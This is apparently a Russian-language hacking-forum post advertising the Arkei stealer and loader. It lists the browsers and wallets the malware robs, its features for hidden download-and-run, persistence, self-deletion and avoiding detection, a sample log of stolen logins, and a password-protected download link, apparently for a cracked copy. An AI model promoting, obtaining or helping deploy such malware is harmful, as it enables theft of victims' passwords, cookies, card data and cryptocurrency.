Arkei — многофункциональный стиллер и нерезидентский лоадер в одном флаконе, написанный на C++ без использования ATL, CLR. Собирает пароли, куки, CC, данные автозаполнения форм, кошельки (Bitcoin, Ethereum), файлы с рабочего стола, данные о машине, установленное ПО. Процесс работы: При запуске Arkei копируется в системную директорию, сканирует ОС на наличие перечисленных ниже браузеров, собирает данные из оных. Затем бот собирает файлы с рабочего стола перечисленных ниже форматов, делает скриншот рабочего стола, помещает все собранные данные в архив и отправляет на сервер вместе с общей сводкой о системе. После получает от сервера задание (открыть url, загрузка & запуск EXE), выполняет его и самоуничтожается, удаляя все следы прибывания в системе. Поддерживаемые браузеры: Chromium (Passwords + Cookies + CC + Autofill)Google Chrome (Passwords + Cookies + CC + Autofill)Mozilla Firefox (Passwords)Opera (Passwords + Cookies + CC + Autofill)Kometa (Passwords + Cookies + CC + Autofill)Amigo (Passwords + Cookies + CC + Autofill)Torch (Passwords + Cookies + CC + Autofill)Orbitum (Passwords + Cookies + CC + Autofill)Comodo Dragon (Passwords + Cookies + CC + Autofill)360 Browser (Passwords + Cookies + CC + Autofill)Nichome (Passwords + Cookies + CC + Autofill)Yandex Browser (Passwords + Cookies + CC + Autofill)Maxthon 5 (Passwords + Cookies + CC + Autofill)Sputnik (Passwords + Cookies + CC + Autofill)Epic Privacy Browser (Passwords + Cookies + CC + Autofill)Vivaldi (Passwords + Cookies + CC + Autofill)Поддерживаемые утилиты: FileZillaФункционал лоадера: Загрузка файла любого формата по ссылкеЗапуск файла после загрузкиСкрытый запуск загруженного файлаДобавление в автозагрузку (реестр)Добавление в автозагрузку (ярлык)Стиллер холодных кошельков криптовалют: BitcoinEthereumГраббер файлов: Динамичная настройка граббера файлов из админ-панели, поддержка любых типов файлов Дополнительно: Удобный установщик админ-панелиОткрытие ссылки в браузере после работы стиллераУничтожение всех рабочих файлов ArkeiНизкий вес билда (143kb)Сбор данных об установленном ПОПоддержка Windows 7 / 8 / 8.1 / 10 | x32 / x64 (дедики от win server 08)Работа из под пользователя, не нужны права админаNon-Detect RuntimeПример лога:
[=======================================================]
[==================== Arkei Stealer ====================]
[=======================================================]
[================= Crack by *censored* =================]
[=======================================================]
[==== *censored* =====]
[=======================================================]
Date: Wed Feb 28 17:02:47 2018
Windows Username: xakfor
GUID: c237f335-84e7-4dcb-834b-227612192254
System: Майкрософт Windows 10 Pro x64
=========================================================
URL: https://yandex.ru
Username: lolka
Password: 123456
=========================================================
URL: https://login.vk.com
Username: +79012345678
Password: 123456
=========================================================
Url: https://yandex.ru/
Username: nonstas
Password: 564296v
=========================================================
Url: http://vk.com/
Username: +79012345678
Password: 123456
=========================================================
Scans: Download:https://yadi.sk/d/GU9iJwIi3VQzbo Pass: 12345